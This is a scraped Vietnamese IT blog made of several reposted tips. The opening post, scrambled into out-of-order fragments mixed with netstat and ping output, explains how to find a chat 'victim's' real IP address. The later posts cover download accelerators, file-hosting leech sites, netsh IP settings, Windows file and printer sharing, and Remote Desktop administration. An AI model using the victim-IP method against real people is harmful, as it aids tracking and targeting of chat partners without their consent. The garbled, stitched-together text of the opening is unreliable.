do vậy chúng cần chú ý và phân biệt xem ai mới thực sự là Victim của mình.0.nz:1054 ESTABLiSHED Chúng ta chỉ chú ý những dòng nào có chữ ESTABLiSHED.co. thật là tuyệt.0.0.auck. chat bằng cả Yahoo Messenger nữa thì sẽ có nhiều ESTABLiSHED.ihug.net:80 CLOSE_WAiT TCP franck-a:1099 p3-max35. Security Hướng dẫn lấy IP của victim khi chát ! Bài viết từ cd hacker mình share cùng các bạn Rất mong sự góp ý của các bạn Bạn phải chat với Victim dể có sự thiết lập IP.syd.auck.151.co.www.nz Wow.co.0:0 LiSTENiNG TCP franck-a:1091 0.co.auck. Nói chung là giữ Online Connect với Victim.76.sanitc. Nói chung là giữ Online Connect với Victim.76.ihug.151.0:0 LiSTENiNG TCP franck-a:1090 server5.67] with 32 bytes of data: Reply from 209.ozemail.0.ihug. dó là thông báo cho sự nối kết dã duợc thiết lập với bên ngoài.http://www.nz :1054 ESTABLiSHED ==è chúng ta không quan tâm cái này nên không cần thêm vào sau lệnh Ping c:p3-max35. Mở một cửa sổ DOS prompt Vào C:gõ lệnh sau: netstat -a C:\b netstat -a Lúc dó trên màn hình sẽ xuất hiện 1 số thông tin có dạng nhu sau: Active Connections Proto Local Address Foreign Address State TCP franck-a:0 0. Hướng dẫn lấy IP của victim khi chát Bạn phải chat với Victim dể có sự thiết lập IP. Cung ở của sổ DOS prompt này. tới dây ta dã thấy duợc IP thật của Victim rồi.67: bytes=32 time=1281ms TTL=39 .co.auck.ihug. Còn nếu test trên máy bạn thì nó sẽ khác di nhung ta chỉ cần quan tâm dến dòng tuong tự nhu vậy và có ESTABLiSHED là duợc Việc tiếp theo của chúng ta là Ping Victim này dể lấy duợc IP thật của họ. Nếu chúng ta chat với nhiều nguời.nz [209. ta gõ lệnh Ping p3-max35.com/itc/NewDetail. Với ví dụ trên ta thấy p3-max35. Pinging p3-max35.auck.nz:1054 ESTABLiSHED là dáng chú ý và quan tâm cả.ihug.asp?ID=52&IDL=122&IDD=594 Được đăng bởi haodalat tại 10:04 CH 0 nhận xét Nhãn: CÓ THỂ BẠN CHƯA BIẾT.

Bạn có thể tải bản này tại địa chỉ:http://download.excellencesoft.151. Lost = 2 (50% loss). Average = 616ms 209.Request timed out.com/Download/TrafficCompressorSetup.76. Flash Speed 200%: Công cụ tăng tốc lướt web này được cho là có khả năng gia tăng tốc độ truy cập mạng nhanh tối đa đến. Bạn có thể tải phần mềm này tại địa chỉ:www.67: bytes=32 time=1185ms TTL=39 Request timed out.com/itc/NewDetail.67: Packets: Sent = 4. Reply from 209.như vậy sẽ chính xác hơn trojan http://www.com/FlashSpeed.151. gửi mail hay thậm chí là chơi game online nhanh hơn.76.exe . Kết quả đạt được là lưu lượng dữ liệu phải truyền tải sẽ giảm xuống chỉ còn từ 40 .tcompressor.67 chính là IP mà chúng ta cần tìm của Victim dây. Chúc các bạn thành công Cách này mình đã test thử và phát hiện rất tốt IP của victim Bạn nhớ khi chát với victim nên đóng tất các cửa sổ khác lại. TrafficCompressor: Khi bạn mở một trang web hay nhận một lá thư với phần mềm này dữ liệu sẽ không chuyển trực tiếp từ server của trang web hay e-mail này đến máy tính. Approximate round trIP times in milli-seconds: Minimum = 1185ms.exe 2. đính kèm tập tin theo thư của bạn sẽ nhanh hơn trước khá nhiều.76.60%. vì thế tốc độ lướt web.asp?ID=52&IDL=122&IDD=592 Được đăng bởi haodalat tại 9:57 CH 0 nhận xét Nhãn: Security Những phần mềm giúp lướt web nhanh Khi làm việc hay giải trí trên mạng chắc hẳn ai cũng muốn máy tính của mình có thể lướt web. 200%. Sau đó server này sẽ nén nhỏ dữ liệu và gửi đến máy tính của bạn qua kết nối đang sử dụng như dial-up. mà chuyển tải thông qua một trong những server của TC nằm trên những mạng lưới internet tốc độ cao đặt tại một số nước. ADSL hay cable modem. Maximum = 1281ms. Received = 2.151.sanitc. Nắm bắt được điều này nhiều hãng sản xuất phần mềm máy tính đã đưa ra những "công cụ" lướt web nhanh 1... Ping statistics for 209.

com thì không giới hạn. NBE-BROADCAST .com.asp?ID=54&IDL=147&IDD=1074 .qwerks. cho download và chia sẻ file miễn phí. Tại khung “Enter a URL”. còn megaupload. 2.sanitc. .Download bất cứ lúc nào bạn muốn (24/24 giờ). IE Accelerator: Đây là phần mềm chuyên dùng cho trình duyệt Internet Explorer.nbe-media. Bạn chỉ cần chọn kiểu truy cập mạng của máy tính ở mũi tên trỏ xuống nằm ở góc phải phía trên giao diện và nhấn vào nút "Accelerate" là tốc độ lướt web bằng Internet Explorer sẽ tăng lên đáng kể. Tuy nhiên. 1.Tổng dung lượng cho phép download tại rapidshare.com/itc/NewDetail.com và megaupload.3. . Điều này thực sự là một cản trở đối với những người có lịch làm việc dày kín hoặc phụ thuộc vào quá nhiều người khác.com Sau khi đăng ký một tài khoản tại trang http://www. khiến hai trang web mới được giới thiệu dưới đây ra đời. bạn đăng nhập vào trang web và chọn “Premium Download RS and MU”. http://www. Đây cũng là một trong những lý do chính.com. bạn cũng nên tham khảo một số quyền lợi mà bạn được hưởng khi là thành viên của NBE-Media như sau: .File bạn download sẽ được lưu giữ trên server trong 60 phút. Địa chỉ dowload: http://www.com.sanitc.com và 100 MB cho megaupload.NBE-MEDIA Địa chỉ: http://nbe-media.com là 400 MB/ngày. nhưng điểm hạn chế của các trang này là bạn phải canh đúng thời điểm leech cho phép tải mới có thể download file về máy. Sau đó trang web sẽ đưa tên file và link download.exe Nguồn trích : vtv http://www.com/download/6494/ieaccelerator.Giới hạn file tối đa cho một lần download là 100 MB cho rapidshare. bạn nhập link Megaupload hay Rapidshare rồi chọn “Download”. Internet Hai trang web cho download miễn phí từ Rapidshare và Megaupload Hiện có nhiều trang Rapidleech cho phép người dùng download file từ rapidshare.com/itc/NewDetail. Bạn chỉ việc nhấp chuột để tải về.asp?ID=54&IDL=147&IDD=1064 Được đăng bởi haodalat tại 9:42 CH 0 nhận xét Nhãn: CÓ THỂ BẠN CHƯA BIẾT.

(Theo NLĐ) Được đăng bởi haodalat tại 9:35 CH 0 nhận xét Nhãn: CachDownload Rapidshare-Megaupload Cấu hình địa chỉ mạng IP bằng câu lệnh MS-DOS Thông thường để cấu hình và đặt địa chỉ IP cho các máy trong mạng bạn chỉ cần cấu hình trong Network Connections và thiết lập địa chỉ IP trong giao thức TCP/IP bằng giao diện Windows. còn megaupload. DNS.Địa chỉ: http://nbe-broadcast.com thì không giới hạn. WIN bằng command line. cách sử dụng giống như trên và bạn sẽ được hưởng các quyền lợi sau: Download trong khoảng thời gian từ 6 giờ đến 23 giờ. Với thủ thuật nhỏ này.com Tại đây bạn cũng phải đăng ký một tài khoản. Giới hạn file tối đa cho một lần download là 100 MB cho rapidshare.Xp.com.com.com và 100 MB cho megaupload. Các bạn thực hiện các bước sau: Vào của sổ command prompt ( Run--> gõ cmd đối với Windows 2000.com là 300 MB/ngày. File bạn download sẽ được lưu giữ trên server trong 60 phút. Bạn hãy thêm một chữ s phía sau chữ http trên thanh địa chỉ. Me) gõ lệnh: netsh interface IP <--Set IP Address-.2003 hoặc gõ command đối với Windwos 98.> set address name= ``Local Area Connection`` source=dhcp set address local static vidu: set address name= ``Local Area Connection`` source=dhcp . Ví dụ: https://nbe-broadcast. bạn có thể vào dễ dàng hơn. Tổng dung lượng cho phép download tại rapidshare. Nay chúng tôi giới thiệu thêm một phương pháp cấu hình địa chỉ IP sử dụng câu lệnh Command line đôi khi cách này sẽ được dùng trong các trường hợp cần thiết Để cấu hình địa chỉ IP. * Lưu ý: Có những lúc bạn không vào được hoặc vào chậm các trang web này là do số lượng truy cập quá đông.

Changes to the `netsh diag' context.168. pushd .Sets the current mode to offline.Exits the program. .Exits the program. abort .Sets the current mode to online.1.Changes to the `netsh ras' context. offline .Pushes current context on stack.Goes up one context level. set .168.168.Commits changes made while in offline mode.2 255.Discards changes made while in offline mode. .Exits the program.Changes to the `netsh routing' context. interface . quit .0 <--Set Preferred DNS Server -.1.set address local static 192.Updates configuration settings.Changes to the `netsh interface' context. commit . bye . bridge .Adds an alias.Deletes a configuration entry from a list of entries.> Exit Ngoài các cấu hình cơ bản trên bạn có thể tham khảo thêm các tính năng sau (Bằng tiếng Anh) Commands inherited from the netsh context: .Changes to the `netsh bridge' context.255.Adds a configuration entry to a list of entries..1 <--De thoat khoi chuong trinh--.1 <--Set WINS address-.1. diag .Pops a context from the stack. ras . add . alias . exit .> set wins name= ``Local Area Connection`` source=dhcp set wins Local Area Connection`` static vidu: set wins name= ``Local Area Connection`` source=dhcp set wins ``Local Area Connection`` static 192.255.> set dns name= ``Local Area Connection`` source=dhcp set DNS Local Area Connection`` static vidu: set dns name= ``Local Area Connection`` source=dhcp set DNS ``Local Area Connection`` static 192. popd . delete . routing . online .

Adds a configuration entry to a table. show . set .Sets configuration information.Displays a configuration script.Adds a configuration entry to a table.com/itc/NewDetail.Displays information. hãy tham khảo hướng dẫn của chúng tôi về cách thiết kế một mạng bằng router băng thông rộng như thế nào. help . unalias . Trong bài viết đó chúng tôi cũng đã giải thích về cách chia sẻ kết nối Internet của bạn như thế nào. Còn trong trường hợp bạn chưa biết cách thiết lập mạng. show . reset .Resets TCP/IP and related components to a clean state. reset .Displays information.Deletes a configuration entry from a table. Khi bạn gặp các câu lệnh khó mà cần thiết sự trợ giúp vui lòng gõ dấu hỏi (?) hoặc gõ (?/) các câu lệnh cần thiết sẽ được hiện nên và bạn có thể làm theo các trợ giúp đó http://www. wins . Trong hướng dẫn này chúng tôi sẽ giới thiệu cho các bạn cách thực hiện thao tác như vậy.Resets information.show . add . delete .sanitc.Displays information. Trước khi tiếp tục. Chúng ta giả dụ rằng bạn đã biết cách thiết lập một mạng.Deletes a configuration entry from a table. THỦ THUẬT IT Cấu hình địa chỉ mạng IP bằng câu lệnh MS-DOS Được đăng bởi haodalat tại 9:19 CH 0 nhận xét Chia sẻ các thư mục và máy in trong mạng Sau khi bạn đã thiết kế được một mạng máy tính cho riêng mình.asp?ID=52&IDL=97&IDD=1166 Được đăng bởi haodalat tại 9:19 CH 0 nhận xét Nhãn: cmd.Displays a list of commands. bạn có thể chia sẻ các file và máy in giữa các máy tính với nhau. bạn phải chú ý tới cách mà mạng đã được thiết lập. ip .Changes to the `netsh interface ip' context. dump . Commands in this context: ? .Changes to the `netsh wins' context. Commands inherited from the netsh interface context: add .Displays a list of commands.Deletes an alias. co ban ve Mang may tinh. delete . set .Sets configuration information. Sử dụng router băng thông rộng là cách được ưa thích nhất vì nó làm việc như một tường lửa phần cứng và có khả năng ngăn chặn không cho truy cập vào .

nếu bạn không sử dụng router thì cần phải cẩn thận khi chia sẻ các thư mục. bạn kích Properties. Cho phép chia sẻ Thứ đầu tiên mà bạn cần thực hiện trên máy tính muốn cho phép chia sẻ file và máy in là kiểm tra xem dịch vụ chia sẻ đã được cài đặt hay chưa. Vậy quay lại vấn đề chia sẻ là gì? Nó chính là khả năng mọi người ở các máy tính khác bên trong mạng có thể truy cập vào tài nguyên nằm bên trong máy. Hình 2: Kích vào Properties Trong màn hình tiếp theo. bạn nên kiểm tra xem tuỳ chọn “File and Printer Sharing for Microsoft Networks” đã được kích hoạt hay chưa. Hình 1: Kích đúp vào card mạng đã cài đặt trên máy tính Trên cửa sổ xuất hiện. Khi đã cài đặt xong dịch vụ này. Phụ thuộc vào cách thiết lập mạng máy tính như thế nào mà người bên ngoài mạng có thể truy cập vào các file cũng khác nhau. Cách chia sẻ file và máy in làm việc trên các phiên bản Windows trước cũng tương tự như vậy. Nếu bạn đã thiết lập mạng theo cách này. chính vì vậy nếu bạn không sử dụng router băng thông rộng thì hãy đón đọc hướng dẫn này để biết cách phòng chống không cho người bên ngoài có thể truy cập vào các file của bạn. tuy nhiên tên chính xác của các tuỳ chọn có thể khác đôi chút. xem trong hình 3. bạn hoàn toàn có khả năng chia sẻ các file . Tuy vậy.các file từ bên ngoài Internet. xin mời vào thẳng vấn đề mà chúng tôi sẽ giới thiệu trong bài này đó là cách chia sẻ file và máy in. Hãy vào Start > Setting > Network Connections và kích đúp vào card mạng đã cài đặt trên máy tính. Hình 3: Kiểm tra xem dịch vụ chia sẻ file và máy in đã được cài đặt chưa Nếu dịch vụ này chưa được cài đặt thì bạn cần phải kích vào Install > Service > Add > chọn File and Printer Sharing for Microsoft Networks. tài nguyên này chính là các file hay máy in. Chúng tôi sẽ giải thích về cách bảo vệ máy tính chống lại các mối nguy hiểm trong một bài khác. Tất cả các hướng dẫn của bài đều dựa trên Windows XP. sau đó là OK.

bạn hoàn toàn có thể chỉ chia sẻ một thư mục nào đó trong ổ đĩa cứng. ổ USB flash và thậm chí cả ổ đĩa mềm. Nó có thể gồm có một thư mục trên ổ cứng. Như những gì chúng tôi đã đề cập. bạn chỉ cần kích chuột phải vào nó và chọn Sharing and Security. Bây giờ. Bất cứ thiết bị nào được nhận diện như một ổ đĩa bởi hệ điều hành cũng đều có thể được mang ra chia sẻ. cắt và dán file mới vào trong thư mục chia sẻ này thì bạn chỉ cần kích hoạt “Allow network users to change my files”. Lưu ý rằng dịch vụ này không yêu cầu trên các máy tính khác mà vẫn có thể truy cập file hoặc máy in nằm trong máy tính của bạn. biểu tượng nằm trên Windows desktop. Kích đúp vào thư mục chia sẻ mà bạn muốn truy cập và đó cũng chính là tất cả những gì bạn . bạn cần kiểm tra “Share this folder on the network” và đặt tên cho việc chia sẻ này trên “Share name” (trong ví dụ là “Shared_Data”). Truy cập vào thư mục đã được chia sẻ Để truy cập vào các thư mục đã chia sẻ trong mạng của bạn. Hình 6: Cho phép chia sẻ thư mục Nhấn OK và thư mục chia sẻ sẽ có thể truy cập từ các máy tính khác trong mạng. Hình 4: Chọn Sharing and Security trên thư mục mà bạn muốn chia sẻ Trong cửa sổ xuất hiện. kích vào My Network Places. Hình 5 Trong cửa sổ tiếp theo. một partition của toàn bộ ổ đĩa cứng. CD-ROM. click here”. Để chia sẻ một thư mục hoặc ổ đĩa. Nếu bạn muốn cho phép mọi người sửa đổi các file. bạn hãy kích vào “If you understand the risk but still want to share the root of the drive.và máy in. Chia sẻ thư mục Bạn có thể chia sẻ bất cứ thư mục nào trên máy tính để mọi người có thể truy cập vào tất cả các file nằm bên trong nó. DVD-ROM. Trong ví dụ này chúng tôi sẽ chia sẻ toàn bộ ổ đĩa D:. sau khi đã chia sẻ một thư mục. Đó chính là tên thư mục chia sẻ từ máy của bạn mà mọi máy trong mạng sẽ nhìn thấy. chúng tôi sẽ giới thiệu cho bạn cách truy cập vào nó từ một máy tính khác như thế nào.

Hình 9: Đường dẫn để gán ký tự ổ đĩa cho thư mục chia sẻ Trong màn hình xuất hiện. . Cách này sẽ cho phép bạn tìm máy tính và các thư mục chia sẻ muốn truy cập. thay vì duyệt thông qua My Network Places. Ví dụ. Đây là phím tắt để bạn thực hiện chức năng “refresh”.cần phải thực hiện. Bạn cũng có thể tick hộp kiểm tra “Reconnect at logon” nếu muốn thoả thuận này sẽ được thiết lập lại khi bạn khởi động lại máy tính. thư mục chia sẻ của bạn sẽ có thể truy cập bằng F:. Hãy nhấn Next để kết thúc tiện ích này. Hình 8: Yêu cầu Windows truy cập vào thư mục chia sẻ Tất cả các thư mục chia sẻ có sẵn trong mạng đều có thể truy cập từ bất kỳ hộp thoại Open/Save/Save As nào. Nếu thư mục chia sẻ mà bạn muốn truy cập vẫn không xuất hiện. vì Gabriel là tên máy tính nơi thư mục chia sẻ nằm trong đó và Shared_Data là đã đặt cho thư mục chia sẻ. Điều này cho phép dễ dàng truy cập vào thư mục chia sẻ. mở My Computer > Tools > Map Network Drive. Mặc dù vậy đôi khi Windows không liệt kê máy tính hoặc thư mục chia sẻ đầy đủ ở đây. Trong trường hợp ví dụ này. bạn có thể chọn ký tự ổ đĩa và thư mục chia sẻ để gán cho ký tự ổ đĩa đó. Trong màn hình tiếp theo. sau đó trên cửa sổ xuất hiện. Hình 7: Liệt kê các thư mục đã được chia sẻ trong mạng Nếu một thư mục nào đó mà bạn biết đã được chia sẻ không liệt kê trong My Network Places – đây là một vấn đề rất hay xảy ra. kích Next > Choose another network location > Next. chính vì vậy thư mục này sẽ có thể được truy cập bằng ổ Z: trên máy tính của tôi. hãy kích vào “Add a network place” (mục đầu tiên trên cột bên trái). Chính vì vậy bạn có thể mở một file đã được lưu trong thư mục được chia sẻ thông qua một chương trình ưa thích. Nếu gặp phải trường hợp này. Bạn có thể gán một ký tự ổ đĩa cho một thư mục chia sẻ. bạn hãy nhấn phím F5 trên bàn phím của mình. sử dụng cấu trúc \tên_máy\tên_thư_mục_chia_sẻ. Trong ví dụ này chúng tôi đã gán thư mục chia sẻ Shared_Data như một ổ đĩa Z:. chúng tôi nhập vào \Gabriel\Shared_Data. bạn có thể khai thác mạng bằng cách kích vào Browse. Để thực hiện điều đó. thông qua biểu tượng My Network Places. bạn có thể thực hiện bổ sung thư mục đã chia sẻ bằng cách nhập vào vị trí của nó trong hộp địạ chỉ Internet hoặc mạng.

Kích Next trong màn hình kế tiếp sẽ xuất hiện.Hình 10: Gán ký tự ổ đĩa cho một thư mục chia sẻ Hình 11: Thư mục chia sẻ có thể truy cập bằng Z: Nếu bạn không muốn tiếp tục thiết lập này trong tương lai. Truy cập vào máy in chia sẻ Để in thông qua một máy in nằm trên máy tính khác trong mạng. kích chuột phải vào máy in và chọn Sharing. Bạn chỉ cần vào Start > Settings > Printer and Faxes. Chia sẻ máy in Việc chia sẻ máy in cũng rất dễ dàng. Hình 13: Chia sẻ máy in Kích OK và máy in sẽ sẵn sàng truy cập bởi các máy tính khác trong mạng. kiểm tra “Share this printer” và nhập vào tên cho máy in chia sẻ trong hộp Share name. Chọn tuỳ chọn đầu tiên “Browse for a printer”. Hãy xem cách các máy tính này có thể truy cập vào máy in chia sẻ như thế nào. bạn hãy vào Start > Settings > Printers and Faxes > Add a printer (mục đầu tiên trong cột bên trái). Hình 14: Cài đặt máy in mạng Kích Next và bạn sẽ thấy có ba tuỳ chọn. Hình 12: Đường dẫn cho việc chia sẻ máy in Trong cửa sổ sẽ xuất hiện. Hình 15: Cài đặt máy in mạng . Để thực hiện việc này. hãy kích chuột phải vào ổ đĩa trên My Computer và chọn Disconnect từ menu chuột phải. trước tiên bạn cần phải cài đặt nó trên máy tính của mình. trên màn hình thứ hai bạn hãy chọn “A network printer. Sau đó kích Next. để định vị máy in. or a printer attached to another computer”. Đây sẽ là tên của máy in được biết đến đối với các máy tính khác trong mạng.

hoàn toàn giống như thực hiện trên một máy in được cài đặt trên máy tính.Trong màn hình tiếp theo. #1: Hiểu phần cứng Bạn có thể cảm thấy dường mình đã nắm rất vững những kiến thức về thông tin các máy trạm nhưng có thật sự có đúng như vậy hay không? Có những thông tin cấu hình quyết định mà một hệ thống cần phải có để điều khiển từ xa máy trạm. Sau đó kích Next và trong màn hình tiếp theo kích Finish. và có thể truy cập từ tất cả các chương trình.com/itc/NewDetail. bạn cần duyệt vào mạng để định vị tới máy in muốn cài đặt trên máy tính của bạn. Hình 16: Cài đặt máy in mạng Trong màn hình tiếp theo. Kích vào Next và trả lời Yes khi gặp câu hỏi mà tiện ích này sẽ hỏi. bạn sẽ được hỏi xem có muốn thiếp lập máy in này như một máy in mặc định cho máy tính của bạn hay không.sanitc. Nếu máy tính của bạn không có máy in nào khác gắn kèm thì nên trả lời Yes.asp?ID=52&IDL=97&IDD=1510 Được đăng bởi haodalat tại 9:15 CH 0 nhận xét Nhãn: co ban ve Mang may tinh. Hình 17: Chọn máy in mặc định trên máy tính này Sau khi thực hiện các bước này. NETWORK 10 vấn đề cần biết trong việc điều khiển các máy trạm từ xa Nhờ vào nhiều công nghệ khác nhau mà hiện nay việc điều khiển từ xa các máy trạm có thể tiết kiệm cho bạn một khối lượng lớn thời gian cũng như tiền bạc. máy in mạng sẽ được cài đặt trên máy tính của bạn. Sử dụng nó rất đơn giản. Hình 18: Máy in mạng sau khi đã cài đặt trong máy tính http://www.0 sẵn sàng trên tất cả hệ thống hay không? * Hệ thống có ổ DVD hay CD chưa? Ổ đó có ghi đĩa được không? * Bạn đã cấu hình trình tự khởi động như thế nào? Và phương pháp thay đổi cấu hình ra sao? * . Xem xét những nhân tố sau đây: * USB 2. Sau đây là một số điểm chú yếu giúp bạn hiểu thêm về bộ công cụ điều khiển từ xa và một số thủ thuật khi sử dụng chúng.

Một số tham số chung bao gồm /release. /renew. Xác định vị trí và đối tượng có thể thực hiện bất kỳ thao tác nào (và cách vô hiệu hóa điều đó). Với những sự cho phép thích hợp.Loại kết nối nào quay trở lại văn phòng chính? Câu trả lời cho những câu hỏi như vậy sẽ tạo ra sự khác nhau lớn trong nhiều trường hợp. /flush dns. một hệ thống cũng có thể được khởi động lại từ xa. hãy chắc chắn xây dựng chiến lược của bạn xung quanh các mô hình lưu thông mạng được cho phép. #2: Nhận biết tưởng lửa và cấu hình máy khách Nếu bạn biết vị trí đặt những tường lửa máy khách. và /register dns.exe: công cụ khởi động lại từ xa hay ngừng một hệ thống. thì chắc chắn sẽ biết hoạt động nào là có thể và không thể thực hiện.msc: snap_in MMC Quản lý máy tính. từ việc giới hạn lưu lượng vào ra trên mỗi vị trí nhằm hạn chế sự ách tắc có thể xảy ra tại vị trí từ xa và hạn chế địa chỉ MAC có thể kết nối tới vị trí đó. một trung tâm tốt của mọi kiểu thông tin. #3: Nắm rõ về mạng Nhiều doanh nghiệp lớn đặt ra quy tắc trong việc xác định địa điểm cho các định vị truy cập từ xa để từ đó thực hiện mọi thứ cần thiết. bao gồm cả bản ghi sự kiện. Ví dụ như việc cố gắng đưa một tập tin quan trọng hay cập nhật ứng dụng từ một cơ chế tự động cập nhật hay từ các nguồn không có tiêu chuẩn nào đó khác. * Ipconfig: Tiện ích cấu hình TCP/ IP. #4: Ghi nhớ các công cụ dòng lệnh để tiết kiệm thời gian Đối với những người đang gặp vấn đề với các kết nối băng thông thấp. * Net Use: Được dùng để ánh xạ ổ. Đồng thời cũng hiểu các thủ tục hay tham số để cho phép thay đổi lưu lượng khi cần. bộ quản lý thiết bị và các dịch vụ. Với các hệ thống Windows XP. * Shutdown. có một số thao tác quản trị chung được ghi nhớ từ một dòng lệnh có thể giúp tiết kiệm thời gian của mọi người. Với số lượng lớn các công việc liên quan đến việc quản trị máy trạm từ xa. xác thực đơn giản hoặc dừng việc ánh xạ. bạn sẽ cần phải đưa ra một nguyên tắc điều khiển từ xa đối với các máy trạm. cần ghi nhớ các lệnh sau đây: * Compmgmt. #5: Làm cho mọi thứ tập trung và khác biệt .

Dưới đây là một số ví dụ: * Dame Ware: Những đề xuất cài đặt và loại bỏ khi sử dụng uỷ nhiệm Windows qua kết nối TCP/IP. Đối với Windows XP thì công cụ này là Remote Desktop.com: Những đề xuất lớn trong kết nối từ Internet tới máy khách. Một ngoại lệ cần chú ý là lưu lượng truy cập một vị trí trung tâm từ xa lớn với số lượng người dùng lớn có thể gây ngập lụt kết nối.Tập hợp mọi phần tử của cơ sở hạ tầng máy trạm trong một vị trí và một thời điểm. bạn cần triển khai một gói dịch vụ lớn hệ điều hành máy khách. khi đó bạn sẽ làm gì? Có nhiều công cụ luân phiên được sắp xếp để cung cấp cho bạn quyền truy nhập tới hệ thống khi cần. Có thể sự sử dụng cho kết nối luân chuyển và bắt đầu dịch vụ VNC khi cần. * LogMeIn. Những công cụ quản trị máy khách nhất định có thể quản lý việc phân phối các gói qua Internet để trợ giúp các vị trí từ xa và người dùng laptop khi ra khỏi mạng trung tâm. #7: Sắp xếp tùy chọn kết nối luân phiên Chúng tôi đều sử dụng một công cụ căn bản và công cụ này có khả năng đưa ra 95% vấn đề chúng tôi gặp phải. Do đó phải yêu cầu người dùng từ xa sử dụng các tài nguyên trung tâm trong việc lưu trữ tập tin. Ví dụ. Bằng cách này. Nếu xem xét đến việc tải xuống 300 MB của một nhóm máy khách thì việc triển khai không hoàn toàn dễ dàng trên các kết nối từ xa. #6: Cơ chế phân phối Internet Đối với các vị trí từ xa. Nhưng trong những hoàn cảnh đặc biệt bạn không thể sử dụng công cụ này để truy cập vào hệ thống máy khách. việc sao lưu và chính sách truy nhập bảo mật nhất quán sẽ giống nhau giữa những người dùng từ xa và người dùng trung tâm. kết nối trực tiếp Internet thay vì sử dụng VPN hay kết nối trên vùng rộng. thì việc máy tính có một nền tảng chắc chắn là một thủ tục bắt buộc. * VNC: Xu hướng máy khách truy cập từ xa đáng tin cậy. Điều cuối cùng bạn phải lo lắng đó là có một số lớn các tập tin máy chủ nằm rải rác trên hệ thống doanh nghiệp. #8: Bảo đảm nền tảng OS vững chắc Để điều khiển hiệu quả các máy trạm từ xa mà không tăng giảm chi phí. Thực hiện thông qua đa số các cấu hình uỷ nhiệm. Chi phí của bạn cũng vì thế cũng thấp đi nhiều lần và sẽ bảo đảm rằng sự quản trị và truy nhập được kiểm soát tại bất kì vị trí nào. Nếu như .

Trong trường hợp bạn chưa biết gì về Remote Desktop thì đây là một tính năng của Windows có thể cho phép kết nối đến máy tính của bạn từ xa bằng giao thức RDP. Đây là một vấn đề đau đầu và nằm ngoài phạm vi thông thường. Chắc chắn một lúc nào đó bạn sẽ tự đặt ra câu hỏi rằng "Chúng ta có thể điều khiển máy in quét ảnh hay fax từ xa?”. Họ có thể không có hệ thống khác để vào và sử dụng. Bạn – một quản trị viên – sẽ khiến cho việc hỗ trợ cuối trở nên khó kiểm soát và rời xa định hướng ban đầu là có một nền tảng máy tính nhất quán. và kết nối mạng mọi nơi. . Cung cấp những dịch vụ tốt từ phía quản trị viên là rất quan trọng đối thành công của doanh nghiệp CNTT. #9: Phạm vi điều khiển Đây không phải thật sự là một kỹ thuật điều khiển nhưng đối với những trạm làm việc từ xa. Người dùng ở nhiều địa điểm khác nhau mà không có một nhân viên CNTT hỗ trợ thì thực sự họ sẽ cảm thấy khó khăn và sẽ phải làm việc theo nhiều cách mà có thể gây ảnh hưởng tới toàn hệ thống. Remote Desktop được xây dựng trên cùng một công nghệ và sử dụng cùng các giao thức với Windows Terminal Services. bạn có thể sử dụng tính năng Remote Desktop để truy cập từ xa vào máy tính tại văn phòng từ nhà. Chức năng phía các máy trạm từ xa khác với người dùng vị trí trung tâm. và có thể các khách hàng đang chờ họ. Mọi thứ phải được thực hiện một lần cho mỗi nền tảng. Chúng ta đang nói đến trường hợp bạn có các văn phòng từ xa với lượng người dùng nhỏ được cung cấp trang thiết bị chuẩn. Các thiết bị này bao gồm các máy trạm hay laptop. thì bố cục của nhóm quản trị máy trạm sẽ thay đổi. không có ai đó sẵn sàng thực hiện một nhiệm vụ khẩn cấp nào đó giúp họ. một máy in laze chia sẻ cho các hệ thống nội bộ.một nền tảng thứ hai được đưa ra. NETWORK Khắc phục sự cố Remote Desktop Từ khi Windows XP được phát hành. một trong những tính năng được lưu tâm nhất luôn là Remote Desktop. nếu bạn đang ở nhà và cần truy cập vào máy tính tại văn phòng của mình. bạn phải quản lý như một quản trị viên.sanitc. Ví dụ.com/itc/NewDetail. http://www. Việc có thể scan và fax không phải là quá tệ nhưng một doanh nghiệp cần phải hiểu rằng đưa ra một chức năng nằm ngoài vấn đề thông thường có thể gây ảnh hưởng cho hệ thống #10: Tăng cường hỗ trợ tới người dùng từ xa Đừng để cho người dùng từ xa bị thiệt thòi. Theo đó việc có một kiểm kê phần cứng trạm tiêu chuẩn cũng góp phần tăng hiệu quả cho doanh nghiệp.asp?ID=52&IDL=97&IDD=1130 Được đăng bởi haodalat tại 9:14 CH 0 nhận xét Nhãn: co ban ve Mang may tinh.

Nói chung. Thậm chí các địa chỉ IP còn có thể là khó hiểu. việc sử dụng địa chỉ IP thường thiên về xu hướng khó giải quyết hơn nhiều so với sử dụng tên host khi kết nối. Rõ ràng việc mở mò mẫm cổng này trên tường lửa của bạn có thể gây ra rủi ro lớn về bảo mật. Đa số các mạng sử dụng địa chỉ IP riêng trên . Hệ số lớn nhất thiên về xu hướng tạo sự khó giải quyết các địa chỉ IP trong việc kết nối là sử dụng các địa chỉ IP động. Một hệ số nữa có thể làm cho nó trở nên khó khăn khi kết nối đến một máy chủ bằng remote desktop đó là tường lửa. TCP/IP không sử dụng tên máy tính là một cơ chế cho việc nhận dạng các hệ thống. Bạn có thể chọn nó thay vì kích chuyển tiếp cổng để lưu lượng RDP đi vào được chuyển tiếp đến một địa chỉ IP nào đó mà không được để ai đó bên ngoài có thể thực hiện một kết nối RDP đến bất kỳ máy tính nào trên mạng của bạn. Trong bài này. Nếu bạn thấy có vấn đề nào đó liên quan đến tên thì có một số thứ có thể thử ở đây. Một cách bạn có thể thực hiện là sử dụng tên miền đầy đủ của hệ thống điều khiển xa tương phản với tên NetBIOS của nó. Đôi khi nguyên nhân đơn giản nhất là lỗi chính tả với tên của máy tính điều khiển xa. Tuy nhiên đối với các máy trạm thì hầu hết sử dụng địa chỉ IP động nên địa chỉ IP mà máy trạm của bạn đang sử dụng hôm nay có thể được gán cho một máy trạm khác vào hôm sau. Không tìm thấy máy tính từ xa Có thể vấn đề chung nhất đối với các máy tính từ xa Remote Desktop là vấn đề định vị. Trên nhiều mạng. Nếu bạn đang sử dụng Remote Desktop để kết nối đến một máy chủ thì vấn đề này có thể sẽ không sao vì hầu hết các máy chủ sử dụng địa chỉ IP tĩnh. Chỉ có một lý do có thể thẩm định tên của máy tính là vì máy chủ DNS xử lý tên máy tính theo một địa chỉ IP. Nếu tên của nó được xác nhận là đúng thì vấn đề có thể liên quan đến DNS. Một số bạn có thể biết điều này. Một cách nữa để chỉ định địa chỉ IP của máy điều khiển xa được sử dụng khá nhiều là tên của nó.Trong các phiên làm việc đôi khi có một số thứ diễn ra không như mong muốn hay có thể nói là sai trong suốt quá trình kết nối và chứng thực. Nếu máy tính bạn đang kết nối đến sử dụng địa chỉ IP động thì bạn không có sự lựa chọn nào để chỉ định tên host. Có một 